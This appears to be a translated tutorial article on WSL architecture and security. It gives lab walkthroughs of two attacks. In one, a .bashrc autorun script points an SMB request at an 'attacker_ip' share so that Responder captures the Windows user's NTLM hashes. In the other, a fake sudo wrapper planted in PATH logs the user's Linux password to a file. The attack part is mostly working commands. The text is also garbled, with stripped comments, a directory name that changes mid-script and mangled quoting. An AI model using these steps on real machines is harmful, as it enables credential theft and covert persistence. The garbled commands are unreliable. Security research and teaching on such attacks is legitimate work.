In 2016, Microsoft introduced the new technology WSL ( W indows S ubsystem for Linux), which in the long term made it possible to unite previously irreconcilable competitors who fought for popularity among both ordinary and advanced OS users: Windows and Linux. This technology made it possible to use Linux tools in a Windows environment without having to start Linux, for example, using Multi-boot. On Habr you can find a large number of articles describing the benefits of using WSL. However, unfortunately, at the time the article was created, no security studies of such a symbiosis of operating systems were found on this resource. This post will attempt to fix that. The article will talk about the features of the WSL 1 and 2 architectures, and analyze several examples of attacks on systems using these technologies. The article is divided into 2 parts.The first will provide the basic theoretical methods of Linux and Windows attacks. The second article will include setting up a test environment and replaying attacks.
WSL 1: architecture features
For the most accurate immersion in WSL security issues, it is necessary to determine the main nuances associated with the implementation of the subsystem. One of the main user tasks solved by WSL is to provide the ability to work through the terminal Linux systems on a host with Windows OS. Also, the proposed compatibility was so native that Linux executable files (ELFs) could be run directly on a Windows system. To achieve these goals, a special subsystem was created in Windows 10 that allows you to run Linux applications using a set of specific system calls - thus, an attempt was made to map a set of Linux syscalls to Windows. Physically, this was done by adding new drivers and a new process format. Visually, the architecture looked like this:
In fact, the interaction with the Linux operating system was organized through several nuclear modules and a special kind of processes - pico. From the diagram above, you can see that the process running in the Linux instance on the host must be native and must use the same resources as regular Windows applications. But how can this be achieved? The Drawbridge project developed Windows process concepts that provided all the operating system components (depending on version) needed to run a different OS application.
Note that the proposed abstraction made it possible not to focus on the operating system (in particular, Windows), in which the process of another OS is expected to start, and offered a general approach.Thus, any application inside the pico process could run without looking at the Windows kernel:
- Compatibility and system call translation issues must be addressed by dedicated providers;
- Access control should be done through the Security Monitor. The monitor resides in the kernel, and therefore Windows needed an upgrade in the form of a new driver that could act as a provider for such processes. A prototype of the pico process is shown schematically below:
Because the Linux file system uses case sensitive file and directory names, 2 types of file systems have been added to Windows to handle WSL - VolFS and DriveFS. VolFS is an implementation of the Linux file system, DriveFS is a file system that works according to Windows rules, but has the ability to choose the case sensitivity of names.
WSL 2
WSL 1 had a number of limitations that prevented it from being used to solve the maximum range of tasks: for example, it lacked the ability to run 32-bit Linux applications, and device drivers could not be used. Therefore, in 2020 WSL 2 was released, which changed the approach to building the subsystem. WSL 2 is an optimized virtual machine that meets WSL 1's resource consumption characteristics. Now, depending on the problems solved by the Windows user, you can select the required version of the Linux subsystem. To mitigate possible vulnerabilities, WSL 2 was implemented based on Hyper-V in Windows 10. In this form, Windows has the ability to run the Linux kernel in isolation. It's worth remembering that version 1 of WSL was introduced as a beta feature,which was supposed to show the vector of development of Windows in this area, so the transition to Hyper-V was inevitable. The final architecture looks like this:
In this version, the Windows and Linux kernels have their own resources and the intersection exists only in the file system, but this intersection is not complete. Interaction between file systems is carried out by means of a client-server wrapper that runs on the 9P protocol.
Today Microsoft provides the ability to switch between WSL 1 and WSL 2. Both versions are available for use.
WSL security
At the moment, there are several papers describing some approaches to using legitimate OS tools to attack interactions between subsystems. We will use their scripts to check the relevance of the attacks at the time of this writing. General list of attacks and scenarios:
1. Implementation of the file system: access rights, the presence of shared directories / data exchange mechanisms.
The research was conducted on the subject of violation of access rules from Linux FS-> Windows FS, Windows FS-> Linux FS . Studies have demonstrated the ability to modify a given file within the target OS. Attempts were also made to substitute, create duplicates and delete part of the file systems.
Scenario:
- A. Attack from the Windows operating system - modifying files from the / etc directory of Linux.
- B. Attack of the Linux operating system - modification of files in the directories:
C:\Windows,C:\Program Files,C:\Users\<User>
2. Implementation of the network stack.
The research was carried out on examples of attacks from the Linux operating system on Windows. The features of the network stack were used, namely, authentication mechanisms on various resources.
Scenario:
- Opening access to a port that is busy on a Windows system
- Port opening in the absence of appropriate rights
- Launching a reverse shell using an elf file in the Windows operating system.
3. Concealment of the launch of malicious software processes using the WSL subsystem.
The research was based on a simple fact - security subsystems cannot intercept events in another core, which works using a legitimate provider from the operating system in the case of WSL 1. In the case of WSL 2, there is no way to view the events that occur in a separate core within light virtual machine.
Scenario:
1) Launching the application for remote access to the system and viewing the logged events.
WSL 1 Experiments: Hash Catching (Windows OS)
Finally we got to the practical part. First, you need to set up the environment for the tests. All experiments will be carried out on a booth with Windows 10 2004 installed. Ubuntu 18.04 was chosen as the operating system image for WSL. The image was chosen randomly and any other will work the same. Commands for setting up the stand:
First, you need to run
powershell.exeas administrator.
For WSL 1 you need to execute the commands: After restarting the stand, you can call the bash command. If everything worked correctly, then you will see something like this in the Windows console: We will use the Kali Linux distribution as the attacker's machine, all machines must be on the same local network.
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux # WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing # Linux Microsoft
Ubuntu.appx install —root #
, , , root. sam.
Restart-Computer #
Let's assume we have unprivileged access to WSL on a Windows machine. Let's try to attack the Linux operating system by calling a command from Linux. To implement the attack, we will use a simple autorun technique - we will add our script for execution in the Linux environment. To do this, you need to modify the file
.bashrc.
On a machine with WSL, run:
1. bash
2. : cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe \» \\\\\\\\attacker_ip\\\\shareName\\\\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitOn a Kali Linux machine, run:
1. Responder -I eth0 -rdvwOn a Windows machine, run bash.
We are waiting for the result on the Kali Linux machine:
Thus, we got the hashes of the Windows user through the WSL subsystem by running the command on the Linux system.
WSL 1 Experiments: Retrieving User Password (Linux OS)
Let's do one more experiment. During this check, we will supplement the file with
.bashrcseveral commands in order to obtain the user's password for the Linux operating system.
Let's start bash and enter the commands:
1. mkdir .hidden
2. echo "export PATH=\$HOME/.hidden/:\$PATH:" >> .bashrc
3. echo "read -sp \"[sudo] password for $USER: \" sudopass" > .hidden/sudo
4. echo "echo \"\"" >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo \"Sorry, try again.\"" >> .mysudo/sudo
7. echo "echo \$sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo \$@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exitFor the attack to complete successfully, the user Sam needs to invoke sudo in the Linux terminal. After that, the Linux OS user password will be in the file
pass.txt:
The implementation of the attacks was presented only for theoretical information.
The next part of the article will describe the implementation of the 9P protocol, consider the creation of a scanner for this protocol, and also carry out an attack using it.
List of used literature
Read more